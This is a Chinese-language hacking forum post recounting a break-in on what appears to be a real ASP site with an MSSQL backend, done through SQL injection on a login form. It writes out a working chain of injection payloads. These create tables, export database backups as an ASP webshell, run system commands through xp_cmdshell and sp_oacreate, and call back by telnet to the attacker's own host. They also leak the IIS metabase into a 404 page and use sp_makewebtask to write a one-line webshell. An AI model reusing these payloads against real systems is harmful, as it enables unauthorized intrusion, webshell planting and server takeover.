登陆框又见post注入

作者:hack1990 时间:12-01-28 阅读数:839人阅读

直入主题,本来想用老方法拿到后台先。于是拿到了后台密码,过程省略了,如前面的帖子不解释。但是后台各种压力,想搞个数据库备份居然还要mssql密码,饥渴。果断返回到注入,尝试看看能不能有其他的利用方法,果断查看用户名,键入代码:

1' and user>0 and '1'='1
返回如图

 

很久之前就知道,返回dbo的都是sa权限,sa用户哦,不是想干嘛干嘛么?

果断尝试建表插马导出。

过程如下。

首先当然是建表,键入:

1' ;create table [yinfu]([cmd] [image]);-- and '1'='1

返回如图

那怎么确定我们建立的表成功了么,果断在执行一次就好,如果存在的话就会报错。

再次键入

1' ;create table [yinfu]([cmd] [image]);-- and '1'='1             ‘--把其他的废话都注释掉

结果如图

 

OK,也就是说建表成功,我们各种插马吧。

一开始我是想用logbackup来导出,那么应该键入的是

1’ ;declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;-- and ‘1’=’1

但是返回如图

 

没办法了,只好尝试backupdatabase来备份了,建表过程一样

果断继续键入:

1' ;declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;-- and '1'='1

结果如图

不报错 也就是成功了。

插马键入:

1' ;insert into [yinfu](cmd)values('<%execute(request(chr(35)))%>');-- and '1'='1

不解释

但是导出的时候我纠结了。本来以为根据报错返回的代码如图

那么网站路径已经已经出来了

E:\Projects\Bussiness\ZZX\XLCS\web\但是导出的时候出现了问题。

键入代码

1' ;declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='E:\Projects\Bussiness\ZZX\XLCS\web\bin.asp' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;-- and '1'='1

结果如图

这种情况一般要嘛是不目录不可写 要嘛是后缀不可写 要嘛是目录不存在。

在排除了目录不可写跟后缀不可写后小弟没办法了,只能尝试找路径了。(以上思路在其他站依然可用。)

既然是sa权限了,果断尝试执行命令呗。

本地监听了个123端口,在注入点键入

1' ;Exec master.dbo.xp_cmdshell 'telnet xxx.xxx.xxx.xxx 123';-- and '1'='1

Xxx啥的是我IP,本地果断没反应。

想象一般xp_cmdshell被黑阔利用的多,可能管理删除了cmd.exe啥的。

尝试那个无回显的存储过程吧,果断键入:

1' ;Exec master.dbo.xp_cmdshell 'Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'command.com /c telnet XXX 123;';-- and '1'='1

本地返回如图

 

OK,也就是说cmdshell被执行了,也证实了我的猜想。

那么简单了,现在我们需要的就是网站路径(其实现在直接提权拿服务器也一样,只是小弟路飞要的是web权限,不想祸害一台服务器了。)

键入命令

1' ;Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'command.com /c copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm';-- and '1'='1

因为这个存储过程是不回显的,当然这个注入点慢慢回显的话也确实够受的。

果断把配置文件备份到404页面,然后你们都懂得,执行成功了,看结果的话我们随便打开个确定不存在的页面,就可以查看了,如图。

 

不解释了,找啊找啊找朋友,各种关键字找到网站的根目录

不想再重新建表啥的了(一个思路不行,已经擦过屁屁)

果断用存储过程cmdshell写一个一句话进去了。

键入:

1' ;exec master.dbo.sp_makewebtask @outputfile='E:\webroot\xxx\x.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''';-- and '1'='1果断查看网站根目录下面的x.asp结果如图

 

没啥说的。搞掂。

后话:提权服务器小事了,但是中间有点小事跟大家分享下

让我比较震惊的是sa的密码居然这么弱,难道不怕被小菜鸟扫到么?

后来一点让我更加震惊如图

 

居然没有开1433端口,那我们咋办 咋提权呢?

以前遇到这个问题另外一个小弟ccl大大也是各种纠结,把每一个端口都拿去试,最后貌似也不成,这个时候咋办呢,其实很简单。我们关注他网站的数据库链接代码

<add key="ConnectionString" value="server=(local);database=x;UID=sa;password=sa;" /> 

貌似也没有有关端口的信息,但是其实不用管它,因为既然网站能够正常运行 说明这段代码一定可以连接到数据库,那么我们直接拿去链接就好了。

如图。

 

完。应该没有下一集

发表评论